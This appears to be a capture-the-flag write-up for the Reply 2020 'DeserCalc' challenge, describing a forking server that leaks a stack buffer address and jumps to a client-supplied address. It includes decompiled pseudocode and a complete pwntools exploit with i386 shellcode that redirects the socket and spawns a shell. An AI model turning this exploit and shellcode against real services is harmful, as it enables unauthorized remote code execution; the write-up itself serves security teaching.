## TLDR2 bugs:- leak stack buffer by default- jump to user supplied address, without any check## Program descriptionTwo files are given, [client](https://github.com/fibonhack/fibonhack.github.io/blob/master/_posts/2020/reply2020/DeserCalc.EXE/server?raw=true) and [server](https://github.com/fibonhack/fibonhack.github.io/blob/master/_posts/2020/reply2020/DeserCalc.EXE/client?raw=true) , but only the server is worth analyzing.
It is a forking server, the function which handles the connection is located @ 0x08049882. 
It exchanges messages with the client by using a struct like that```cstruct RPC {    uint32 addr;    char msg[100];}```
The handler function:- check if the first msg received is `JustPwnThis!`- reply with the string OK- send an RPC object containing the address of do_calculation- receive an RPC object and assert that received_RPC.addr == do_calculation- then send another RPC object where send_RPC.addr == do_calculation - stack_buffer    - So it is easy to calculate stack_buffer = do_calculation - send_RPC.addr- receive 2 RPC ojects and execute the function @ RPC[1].addr
handler pseudocode:```cint handler(int client_fd)
{  char buf [100];  char *local_18;  RPC *rpc_obj;   log('I',"PID %d: %s\n",_Var1,"Incoming connection...", getpid());  if check_password(client_fd,"JustPwnThis!") == 0) {    send_nullterminated(client_fd,"WRONG\n");    return -1;  }  else {    send_nullterminated(client_fd,"OK\n");    send_RPC_docalc(client_fd);    rpc_obj = alloc_RPC_structs(2);     if (check_RPC_addr_and_leak_param3(client_fd,rpc_obj + 1,buf) == 0) {      log('W',"PID %d: %s\n",_Var1,"exiting. reason: wrong RPC address...", getpid());      return -1;    }    else {      recv_2_RPC_structs(client_fd,rpc_obj);      local_18 = (char *)(*(code *)rpc_obj[1].RPC_addr)(buf);      send_RPC_docalc_msg(client_fd,local_18);      log('I',"PID %d: %s\n",_Var1,"exiting normally...", getpid());      return 0;    }  }}```
## Exploitchecksec server output:```    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x8048000)```NX is disabled so it is possible to just jump at the stack buffer leaked by the server.
The shellcode closes stdin,stdout, redirect stdin and stdout to the client_fd with dup2(client_fd,1) dup2(client_fd,0), then it does the classic execve(binbash)
```pythonfrom pwn import *from binascii import hexlify
# Set up pwntools for the correct architecturecontext.update(arch='i386')exe = ELF('./server')
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.REMOTE:        return remote('gamebox1.reply.it', 27364)    else:        return remote('127.0.0.1', 8000)
def RPC(addr, msg):    while len(msg) != 100:        msg += b'\x41'    return p32(addr) + msg
shellcode = '''    mov ebx, 0x08049300 # close
# close(0)    push 0    call ebx
# close(1)    push 1    call ebx
    mov ebx, 0x08049050 # dup2
# dup2(4,0)    push 0    push 4     call ebx
# dup2(4,1)    push 1    push 4     call ebx
# execve binbash    xor    eax, eax    push   eax    push   0x68732f2f    push   0x6e69622f    mov    ebx, esp    mov    ecx, eax    mov    edx, eax    mov    al, 0xb    int    0x80'''
io = start()
password = b'JustPwnThis!'io.recvuntil(b'Password:')io.sendline(password)io.recvuntil(b'OK\n')
io.recv()
DO_CALCULATION = 0x0804a8c8
scode = asm(shellcode, arch = 'i386')
# this scode is gonna be stored in buf of handler functionpayload = RPC(DO_CALCULATION, scode)io.send(payload)RPC1 = io.recv()bufleak = (DO_CALCULATION - u32(RPC1[:4])) & 0xffffffffprint ("buf @ %08x" % (bufleak))
'''Sending - garbage RPC- RPC (function_to_execute=scode_location, garbage)'''io.send(RPC(0,b'')+RPC(bufleak,b''))
# get a shellio.interactive()```